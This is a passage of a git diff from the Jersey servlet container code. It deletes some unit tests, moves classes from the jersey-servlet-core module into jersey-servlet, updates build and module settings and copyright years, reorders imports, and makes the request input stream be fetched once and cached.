-        public void test() throws ServletException, IOException {
-            encodingTestServletContainer.service(httpServletRequest, (HttpServletResponse) null);
-        }
-
-    }
-
-    static class ServletRequestValues {
-        final String servletPath;
-        final String requestUri;
-        final String contextPath;
-
-        ServletRequestValues(String contextPath, String servletPath, String requestUri) {
-            this.servletPath = servletPath;
-            this.requestUri = requestUri;
-            this.contextPath = contextPath;
-        }
-
-        Object handle(String name) {
-            switch (name) {
-                case "getServletPath":
-                    return servletPath;
-                case "getRequestURI":
-                    return requestUri;
-                case "getRequestURL":
-                    return new StringBuffer(requestUri);
-                case "getContextPath":
-                    return contextPath;
-                default:
-                    return null;
-            }
-        }
-    }
-
-    static class EncodingTestServletContainer extends ServletContainer {
-        final String baseUri;
-        final String requestUri;
-
-        EncodingTestServletContainer(String baseUri, String requestUri) {
-            this.baseUri = baseUri;
-            this.requestUri = requestUri;
-        }
-
-        @Override
-        public Value<Integer> service(URI baseUri, URI requestUri, HttpServletRequest request, HttpServletResponse response) {
-            Assertions.assertEquals(this.baseUri, baseUri.toASCIIString());
-            Assertions.assertEquals(this.requestUri, requestUri.toASCIIString());
-            return Values.of(0);
-        }
-
-        //Update visibility
-        public void service(final HttpServletRequest request, final HttpServletResponse response)
-                throws ServletException, IOException {
-            super.service(request, response);
-        }
-    };
-}
diff --git a/containers/jersey-servlet-core/src/test/java/org/glassfish/jersey/servlet/internal/RequestInputStreamTest.java b/containers/jersey-servlet-core/src/test/java/org/glassfish/jersey/servlet/internal/RequestInputStreamTest.java
deleted file mode 100644
index feb899c..0000000
--- a/containers/jersey-servlet-core/src/test/java/org/glassfish/jersey/servlet/internal/RequestInputStreamTest.java
+++ /dev/null
@@ -1,97 +0,0 @@
-/*
- * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.servlet.internal;
-
-import org.glassfish.jersey.CommonProperties;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.server.ServerProperties;
-import org.glassfish.jersey.servlet.ServletProperties;
-import org.glassfish.jersey.servlet.WebComponent;
-import org.glassfish.jersey.servlet.WebConfig;
-import org.glassfish.jersey.servlet.WebFilterConfig;
-import org.junit.jupiter.api.Test;
-
-import jakarta.servlet.FilterConfig;
-import jakarta.servlet.ServletContext;
-import jakarta.servlet.ServletException;
-import jakarta.servlet.http.HttpServletRequest;
-import jakarta.servlet.http.HttpServletResponse;
-import java.io.IOException;
-import java.lang.reflect.InvocationHandler;
-import java.lang.reflect.Method;
-import java.lang.reflect.Proxy;
-import java.net.URI;
-import java.util.Collections;
-import java.util.Enumeration;
-
-public class RequestInputStreamTest {
-    @Test
-    public void test404RequestInputStream() throws ServletException, IOException {
-        InvocationHandler handler = new InvocationHandler() {
-            @Override
-            public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
-                switch (method.getName()) {
-                    case "getHeaderNames":
-                        return Collections.emptyEnumeration();
-                    case "getInputStream":
-                        throw new IllegalStateException("ServletRequest#getInputStream clashes with ServletRequest#getReader");
-                }
-                return null;
-            }
-        };
-
-        FilterConfig filterConfig = new FilterConfig() {
-            @Override
-            public String getFilterName() {
-                return null;
-            }
-
-            @Override
-            public ServletContext getServletContext() {
-                return (ServletContext) Proxy.newProxyInstance(getClass().getClassLoader(),
-                        new Class[]{ServletContext.class},
-                        handler);
-            }
-
-            @Override
-            public String getInitParameter(String name) {
-                return null;
-            }
-
-            @Override
-            public Enumeration<String> getInitParameterNames() {
-                return null;
-            }
-        };
-        WebConfig dummyWebConfig = new WebFilterConfig(filterConfig);
-        ResourceConfig resourceConfig = new ResourceConfig()
-                .property(CommonProperties.PROVIDER_DEFAULT_DISABLE, "ALL")
-                .property(ServerProperties.WADL_FEATURE_DISABLE, true)
-                .property(ServletProperties.FILTER_FORWARD_ON_404, true)
-                .property(ServerProperties.RESPONSE_SET_STATUS_OVER_SEND_ERROR, true);
-        WebComponent component = new WebComponent(dummyWebConfig, resourceConfig);
-        component.service(URI.create("http://localhost"), URI.create("http://localhost"),
-                (HttpServletRequest) Proxy.newProxyInstance(getClass().getClassLoader(),
-                        new Class[] {HttpServletRequest.class},
-                        handler
-                        ),
-                (HttpServletResponse) Proxy.newProxyInstance(getClass().getClassLoader(),
-                        new Class[]{HttpServletResponse.class},
-                        handler)
-                );
-    }
-}
diff --git a/containers/jersey-servlet-core/src/test/java/org/glassfish/jersey/servlet/internal/ThreadLocalInvokerTest.java b/containers/jersey-servlet-core/src/test/java/org/glassfish/jersey/servlet/internal/ThreadLocalInvokerTest.java
deleted file mode 100644
index b69603d..0000000
--- a/containers/jersey-servlet-core/src/test/java/org/glassfish/jersey/servlet/internal/ThreadLocalInvokerTest.java
+++ /dev/null
@@ -1,100 +0,0 @@
-/*
- * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.servlet.internal;
-
-import java.lang.reflect.Proxy;
-
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-/**
- * @author Michal Gajdos
- */
-public class ThreadLocalInvokerTest {
-
-    public static class CheckedException extends Exception {
-
-    }
-
-    public static interface X {
-
-        public String checked() throws CheckedException;
-
-        public String runtime();
-    }
-
-    @Test
-    public void testIllegalState() {
-        final ThreadLocalInvoker<X> tli = new ThreadLocalInvoker<>();
-
-        final X x = (X) Proxy.newProxyInstance(this.getClass().getClassLoader(), new Class[]{X.class}, tli);
-
-        boolean caught = false;
-        try {
-            x.checked();
-        } catch (final Exception ex) {
-            caught = true;
-            assertEquals(IllegalStateException.class, ex.getClass());
-        }
-        assertTrue(caught);
-
-        caught = false;
-        try {
-            x.runtime();
-        } catch (final Exception ex) {
-            caught = true;
-            assertEquals(IllegalStateException.class, ex.getClass());
-        }
-        assertTrue(caught);
-    }
-
-    @Test
-    public void testExceptions() {
-        final ThreadLocalInvoker<X> tli = new ThreadLocalInvoker<>();
-
-        final X x = (X) Proxy.newProxyInstance(this.getClass().getClassLoader(), new Class[]{X.class}, tli);
-
-        tli.set(new X() {
-            public String checked() throws CheckedException {
-                throw new CheckedException();
-            }
-
-            public String runtime() {
-                throw new RuntimeException();
-            }
-        });
-
-        boolean caught = false;
-        try {
-            x.checked();
-        } catch (final Exception ex) {
-            caught = true;
-            assertEquals(CheckedException.class, ex.getClass());
-        }
-        assertTrue(caught);
-
-        caught = false;
-        try {
-            x.runtime();
-        } catch (final Exception ex) {
-            caught = true;
-            assertEquals(RuntimeException.class, ex.getClass());
-        }
-        assertTrue(caught);
-    }
-}
diff --git a/containers/jersey-servlet/pom.xml b/containers/jersey-servlet/pom.xml
index 7fb9b84..a8af9bb 100644
--- a/containers/jersey-servlet/pom.xml
+++ b/containers/jersey-servlet/pom.xml
@@ -39,17 +39,15 @@
             <version>${servlet6.version}</version>
             <scope>provided</scope>
         </dependency>
-
         <dependency>
-            <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
-            <version>${project.version}</version>
-            <exclusions>
-                <exclusion>
-                    <groupId>jakarta.servlet</groupId>
-                    <artifactId>jakarta.servlet-api</artifactId>
-                </exclusion>
-            </exclusions>
+            <groupId>jakarta.persistence</groupId>
+            <artifactId>jakarta.persistence-api</artifactId>
+            <scope>provided</scope>
+            <optional>true</optional>
+        </dependency>
+        <dependency>
+            <groupId>jakarta.inject</groupId>
+            <artifactId>jakarta.inject-api</artifactId>
         </dependency>
     </dependencies>
 
@@ -74,11 +72,13 @@
                     <instructions>
                         <!-- Note: When you're changing these properties change them also in bundles/jax-rs-ri/bundle/pom.xml. -->
                         <Import-Package>
+                            jakarta.persistence.*;resolution:=optional,
                             jakarta.servlet.*;version="[6.0,7.0)",
                             ${jakarta.annotation.osgi.version},
                             ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
+                        <Export-Package>org.glassfish.jersey.servlet.*</Export-Package>
                     </instructions>
                     <unpackBundle>true</unpackBundle>
                 </configuration>
diff --git a/containers/jersey-servlet/src/main/java/module-info.java b/containers/jersey-servlet/src/main/java/module-info.java
index 39ece48..0410708 100644
--- a/containers/jersey-servlet/src/main/java/module-info.java
+++ b/containers/jersey-servlet/src/main/java/module-info.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2022, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,14 +16,21 @@
 
 module org.glassfish.jersey.container.servlet {
     requires java.logging;
+    requires java.naming;
 
+    requires jakarta.inject;
+    requires static jakarta.persistence;
     requires jakarta.ws.rs;
-    requires jakarta.servlet;
+    requires static jakarta.servlet;
 
     requires org.glassfish.jersey.core.common;
     requires org.glassfish.jersey.core.server;
-    requires org.glassfish.jersey.container.servlet.core;
 
     exports org.glassfish.jersey.servlet.async;
     exports org.glassfish.jersey.servlet.init;
+//    exports org.glassfish.jersey.servlet.internal;
+    exports org.glassfish.jersey.servlet.spi;
+    exports org.glassfish.jersey.servlet;
+
+    opens org.glassfish.jersey.servlet;
 }
\ No newline at end of file
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/ServletBootstrapPreinitialization.java b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/ServletBootstrapPreinitialization.java
similarity index 97%
rename from containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/ServletBootstrapPreinitialization.java
rename to containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/ServletBootstrapPreinitialization.java
index 4f030ce..a26f710 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/ServletBootstrapPreinitialization.java
+++ b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/ServletBootstrapPreinitialization.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2024, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/ServletContainer.java b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/ServletContainer.java
similarity index 95%
rename from containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/ServletContainer.java
rename to containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/ServletContainer.java
index 19810fa..718f34b 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/ServletContainer.java
+++ b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/ServletContainer.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,20 +16,6 @@
 
 package org.glassfish.jersey.servlet;
 
-import java.io.IOException;
-import java.net.URI;
-import java.util.Iterator;
-import java.util.List;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-import java.util.regex.Pattern;
-import java.util.regex.PatternSyntaxException;
-
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.core.Response;
-import jakarta.ws.rs.core.UriBuilder;
-import jakarta.ws.rs.core.UriBuilderException;
-
 import jakarta.servlet.Filter;
 import jakarta.servlet.FilterChain;
 import jakarta.servlet.FilterConfig;
@@ -40,7 +26,9 @@
 import jakarta.servlet.http.HttpServlet;
 import jakarta.servlet.http.HttpServletRequest;
 import jakarta.servlet.http.HttpServletResponse;
-
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.core.UriBuilder;
+import jakarta.ws.rs.core.UriBuilderException;
 import org.glassfish.jersey.internal.inject.Providers;
 import org.glassfish.jersey.internal.util.ExtendedLogger;
 import org.glassfish.jersey.internal.util.collection.Value;
@@ -57,6 +45,15 @@
 import org.glassfish.jersey.servlet.spi.FilterUrlMappingsProvider;
 import org.glassfish.jersey.uri.UriComponent;
 
+import java.io.IOException;
+import java.net.URI;
+import java.util.Iterator;
+import java.util.List;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+import java.util.regex.Pattern;
+import java.util.regex.PatternSyntaxException;
+
 /**
  * A {@link jakarta.servlet.Servlet} or {@link Filter} for deploying root resource classes.
  * <p />
@@ -66,7 +63,7 @@
  * <p />
  * The servlet or filter may be configured to have an initialization
  * parameter {@value ServletProperties#JAXRS_APPLICATION_CLASS}
- * (see {@link org.glassfish.jersey.servlet.ServletProperties#JAXRS_APPLICATION_CLASS}) and whose value is a
+ * (see {@link ServletProperties#JAXRS_APPLICATION_CLASS}) and whose value is a
  * fully qualified name of a class that implements {@link jakarta.ws.rs.core.Application}.
  * The class is instantiated as a singleton component
  * managed by the runtime, and injection may be performed (the artifacts that
@@ -74,15 +71,15 @@
  * the servlet or filter is configured).
  * <p />
  * If the initialization parameter {@value ServletProperties#JAXRS_APPLICATION_CLASS}
- * is not present and a initialization parameter {@value org.glassfish.jersey.server.ServerProperties#PROVIDER_PACKAGES}
+ * is not present and a initialization parameter {@value ServerProperties#PROVIDER_PACKAGES}
  * is present (see {@link ServerProperties#PROVIDER_PACKAGES}) a new instance of
  * {@link ResourceConfig} with this configuration is created. The initialization parameter
- * {@value org.glassfish.jersey.server.ServerProperties#PROVIDER_PACKAGES} MUST be set to provide one or
+ * {@value ServerProperties#PROVIDER_PACKAGES} MUST be set to provide one or
  * more package names. Each package name MUST be separated by ';'.
  * <p />
  * If none of the above resource configuration related initialization parameters
  * are present a new instance of {@link ResourceConfig} with {@link WebAppResourcesScanner}
- * is created. The initialization parameter {@value org.glassfish.jersey.server.ServerProperties#PROVIDER_CLASSPATH}
+ * is created. The initialization parameter {@value ServerProperties#PROVIDER_CLASSPATH}
  * is present (see {@link ServerProperties#PROVIDER_CLASSPATH}) MAY be
  * set to provide one or more resource paths. Each path MUST be separated by ';'.
  * If the initialization parameter is not present then the following resource
@@ -91,7 +88,7 @@
  * All initialization parameters are added as properties of the created
  * {@link ResourceConfig}.
  * <p />
- * A new {@link org.glassfish.jersey.server.ApplicationHandler} instance will be created and configured such
+ * A new {@link ApplicationHandler} instance will be created and configured such
  * that the following classes may be injected onto a root resource, provider
  * and {@link jakarta.ws.rs.core.Application} classes using {@link jakarta.ws.rs.core.Context
  * &#64;Context} annotation:
@@ -148,7 +145,7 @@
      * Initiate the Web component.
      *
      * @param webConfig the Web configuration.
-     * @throws jakarta.servlet.ServletException in case of an initialization failure
+     * @throws ServletException in case of an initialization failure
      */
     protected void init(final WebConfig webConfig) throws ServletException {
         webComponent = new WebComponent(webConfig, resourceConfig);
@@ -344,9 +341,9 @@
      *
      * @param baseUri    the base URI of the request.
      * @param requestUri the URI of the request.
-     * @param request    the {@link jakarta.servlet.http.HttpServletRequest} object that contains the request the client made to
+     * @param request    the {@link HttpServletRequest} object that contains the request the client made to
      *                   the Web component.
-     * @param response   the {@link jakarta.servlet.http.HttpServletResponse} object that contains the response the Web component
+     * @param response   the {@link HttpServletResponse} object that contains the response the Web component
      *                   returns to the client.
      * @return lazily initialized response status code {@link Value value provider}. If not resolved in the moment of call to
      * {@link Value#get()}, {@code -1} is returned.
@@ -364,9 +361,9 @@
      *
      * @param baseUri    the base URI of the request.
      * @param requestUri the URI of the request.
-     * @param request    the {@link jakarta.servlet.http.HttpServletRequest} object that contains the request the client made to
+     * @param request    the {@link HttpServletRequest} object that contains the request the client made to
      *                   the Web component.
-     * @param response   the {@link jakarta.servlet.http.HttpServletResponse} object that contains the response the Web component
+     * @param response   the {@link HttpServletResponse} object that contains the response the Web component
      *                   returns to the client.
      * @return returns {@link ResponseWriter}, Servlet's {@link org.glassfish.jersey.server.spi.ContainerResponseWriter}
      *         implementation, into which processed request response was written to.
@@ -466,8 +463,8 @@
      *                 contains the response the servlet returns
      *                 to the client.
      * @param chain    the chain of filters from which the next filter can be invoked.
-     * @throws java.io.IOException            in case of an I/O error.
-     * @throws jakarta.servlet.ServletException in case of an error while executing the
+     * @throws IOException            in case of an I/O error.
+     * @throws ServletException in case of an error while executing the
      *                                        filter chain.
      */
     public void doFilter(final HttpServletRequest request, final HttpServletResponse response, final FilterChain chain)
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/ServletProperties.java b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/ServletProperties.java
similarity index 98%
rename from containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/ServletProperties.java
rename to containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/ServletProperties.java
index 3689e62..f4a489d 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/ServletProperties.java
+++ b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/ServletProperties.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/ServletPropertiesDelegate.java b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/ServletPropertiesDelegate.java
similarity index 95%
rename from containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/ServletPropertiesDelegate.java
rename to containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/ServletPropertiesDelegate.java
index cf7d37b..057efba 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/ServletPropertiesDelegate.java
+++ b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/ServletPropertiesDelegate.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,13 +16,12 @@
 
 package org.glassfish.jersey.servlet;
 
+import jakarta.servlet.http.HttpServletRequest;
+import org.glassfish.jersey.internal.PropertiesDelegate;
+
 import java.util.Collection;
 import java.util.Collections;
 
-import jakarta.servlet.http.HttpServletRequest;
-
-import org.glassfish.jersey.internal.PropertiesDelegate;
-
 /**
  * @author Martin Matula
  */
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/WebAppResourcesScanner.java b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/WebAppResourcesScanner.java
similarity index 98%
rename from containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/WebAppResourcesScanner.java
rename to containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/WebAppResourcesScanner.java
index e6879d0..bc868eb 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/WebAppResourcesScanner.java
+++ b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/WebAppResourcesScanner.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,6 +16,12 @@
 
 package org.glassfish.jersey.servlet;
 
+import jakarta.servlet.ServletContext;
+import org.glassfish.jersey.server.internal.AbstractResourceFinderAdapter;
+import org.glassfish.jersey.server.internal.scanning.CompositeResourceFinder;
+import org.glassfish.jersey.server.internal.scanning.JarFileScanner;
+import org.glassfish.jersey.server.internal.scanning.ResourceFinderException;
+
 import java.io.IOException;
 import java.io.InputStream;
 import java.util.Deque;
@@ -23,13 +29,6 @@
 import java.util.NoSuchElementException;
 import java.util.Set;
 
-import jakarta.servlet.ServletContext;
-
-import org.glassfish.jersey.server.internal.AbstractResourceFinderAdapter;
-import org.glassfish.jersey.server.internal.scanning.JarFileScanner;
-import org.glassfish.jersey.server.internal.scanning.ResourceFinderException;
-import org.glassfish.jersey.server.internal.scanning.CompositeResourceFinder;
-
 /**
  * A scanner that recursively scans resources within a Web application.
  *
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/WebComponent.java b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/WebComponent.java
similarity index 95%
rename from containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/WebComponent.java
rename to containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/WebComponent.java
index c2c5bf4..a0dd29b 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/WebComponent.java
+++ b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/WebComponent.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,36 +16,6 @@
 
 package org.glassfish.jersey.servlet;
 
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.UncheckedIOException;
-import java.lang.reflect.Type;
-import java.net.URI;
-import java.security.AccessController;
-import java.security.Principal;
-import java.security.PrivilegedActionException;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collection;
-import java.util.Collections;
-import java.util.Enumeration;
-import java.util.HashMap;
-import java.util.Iterator;
-import java.util.List;
-import java.util.Map;
-import java.util.concurrent.ScheduledExecutorService;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-import java.util.stream.Collectors;
-
-import jakarta.ws.rs.RuntimeType;
-import jakarta.ws.rs.core.Form;
-import jakarta.ws.rs.core.GenericType;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.MultivaluedMap;
-import jakarta.ws.rs.core.Response;
-import jakarta.ws.rs.core.SecurityContext;
-
 import jakarta.inject.Inject;
 import jakarta.inject.Provider;
 import jakarta.inject.Singleton;
@@ -53,13 +23,20 @@
 import jakarta.servlet.ServletConfig;
 import jakarta.servlet.ServletContext;
 import jakarta.servlet.ServletException;
+import jakarta.servlet.ServletInputStream;
 import jakarta.servlet.http.HttpServletRequest;
 import jakarta.servlet.http.HttpServletResponse;
-
-import org.glassfish.jersey.innate.io.InputStreamWrapper;
-import org.glassfish.jersey.innate.inject.InternalBinder;
+import jakarta.ws.rs.RuntimeType;
+import jakarta.ws.rs.core.Form;
+import jakarta.ws.rs.core.GenericType;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.MultivaluedMap;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.core.SecurityContext;
 import org.glassfish.jersey.innate.inject.InjectionIds;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.innate.inject.ServiceFinderBinder;
+import org.glassfish.jersey.innate.io.InputStreamWrapper;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Providers;
 import org.glassfish.jersey.internal.inject.ReferencingFactory;
@@ -91,8 +68,30 @@
 import org.glassfish.jersey.servlet.spi.FilterUrlMappingsProvider;
 import org.glassfish.jersey.uri.UriComponent;
 
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.UncheckedIOException;
+import java.lang.reflect.Type;
+import java.net.URI;
+import java.security.AccessController;
+import java.security.Principal;
+import java.security.PrivilegedActionException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Enumeration;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.ScheduledExecutorService;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+import java.util.stream.Collectors;
+
 /**
- * An common Jersey web component that may be extended by a Servlet and/or
+ * A common Jersey web component that may be extended by a Servlet and/or
  * Filter implementation, or encapsulated by a Servlet or Filter implementation.
  *
  * @author Paul Sandoz
@@ -271,7 +270,7 @@
 
     /**
      * Cached value of configuration property
-     * {@link org.glassfish.jersey.server.ServerProperties#RESPONSE_SET_STATUS_OVER_SEND_ERROR}.
+     * {@link ServerProperties#RESPONSE_SET_STATUS_OVER_SEND_ERROR}.
      * If {@code true} method {@link HttpServletResponse#setStatus} is used over {@link HttpServletResponse#sendError}.
      */
     final boolean configSetStatusOverSendError;
@@ -354,18 +353,18 @@
      *
      * @param baseUri         the base URI of the request.
      * @param requestUri      the URI of the request.
-     * @param servletRequest  the {@link jakarta.servlet.http.HttpServletRequest} object that
+     * @param servletRequest  the {@link HttpServletRequest} object that
      *                        contains the request the client made to
      *                        the Web component.
-     * @param servletResponse the {@link jakarta.servlet.http.HttpServletResponse} object that
+     * @param servletResponse the {@link HttpServletResponse} object that
      *                        contains the response the Web component returns
      *                        to the client.
      * @return lazily initialized response status code {@link Value value provider}. If not resolved in the moment of call to
      * {@link Value#get()}, {@code -1} is returned.
-     * @throws java.io.IOException            if an input or output error occurs
+     * @throws IOException            if an input or output error occurs
      *                                        while the Web component is handling the
      *                                        HTTP request.
-     * @throws jakarta.servlet.ServletException if the HTTP request cannot be handled.
+     * @throws ServletException if the HTTP request cannot be handled.
      */
     public Value<Integer> service(
             final URI baseUri,
@@ -386,18 +385,18 @@
      *
      * @param baseUri         the base URI of the request.
      * @param requestUri      the URI of the request.
-     * @param servletRequest  the {@link jakarta.servlet.http.HttpServletRequest} object that
+     * @param servletRequest  the {@link HttpServletRequest} object that
      *                        contains the request the client made to
      *                        the Web component.
-     * @param servletResponse the {@link jakarta.servlet.http.HttpServletResponse} object that
+     * @param servletResponse the {@link HttpServletResponse} object that
      *                        contains the response the Web component returns
      *                        to the client.
      * @return returns {@link ResponseWriter}, Servlet's {@link org.glassfish.jersey.server.spi.ContainerResponseWriter}
      *         implementation, into which processed request response was written to.
-     * @throws java.io.IOException            if an input or output error occurs
+     * @throws IOException            if an input or output error occurs
      *                                        while the Web component is handling the
      *                                        HTTP request.
-     * @throws jakarta.servlet.ServletException if the HTTP request cannot be handled.
+     * @throws ServletException if the HTTP request cannot be handled.
      */
      /* package */ ResponseWriter serviceImpl(
             final URI baseUri,
@@ -451,13 +450,18 @@
 
         try {
             requestContext.setEntityStream(new InputStreamWrapper() {
+
+                private ServletInputStream wrappedStream;
                 @Override
                 protected InputStream getWrapped() {
-                    try {
-                        return servletRequest.getInputStream();
-                    } catch (IOException e) {
-                        throw new UncheckedIOException(e);
+                    if (wrappedStream == null) {
+                        try {
+                            wrappedStream = servletRequest.getInputStream();
+                        } catch (IOException e) {
+                            throw new UncheckedIOException(e);
+                        }
                     }
+                    return wrappedStream;
                 }
             });
         } catch (UncheckedIOException e) {
@@ -484,7 +488,7 @@
     }
 
     /**
-     * Get default {@link jakarta.ws.rs.core.SecurityContext} for given {@code request}.
+     * Get default {@link SecurityContext} for given {@code request}.
      *
      * @param request http servlet request to create a security context for.
      * @return a non-null security context instance.
@@ -622,7 +626,7 @@
     /**
      * Extract parameters contained in {@link HttpServletRequest servlet request} and put them into
      * {@link ContainerRequest container request} under
-     * {@value org.glassfish.jersey.server.internal.InternalServerProperties#FORM_DECODED_PROPERTY} property (as {@link Form}
+     * {@value InternalServerProperties#FORM_DECODED_PROPERTY} property (as {@link Form}
      * instance).
      *
      * @param servletRequest   http servlet request to extract params from.
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/WebConfig.java b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/WebConfig.java
similarity index 97%
rename from containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/WebConfig.java
rename to containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/WebConfig.java
index 4adf236..5bc1af2 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/WebConfig.java
+++ b/containers/jersey-servlet/src/main/java/org/glassfish/jersey/servlet/WebConfig.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,12 +16,12 @@
 
 package org.glassfish.jersey.servlet;
 
-import java.util.Enumeration;
-
 import jakarta.servlet.FilterConfig;
 import jakarta.servlet.ServletConfig;
 import jakarta.servlet.ServletContext;
 
+import java.util.Enumeration;
+
 /**
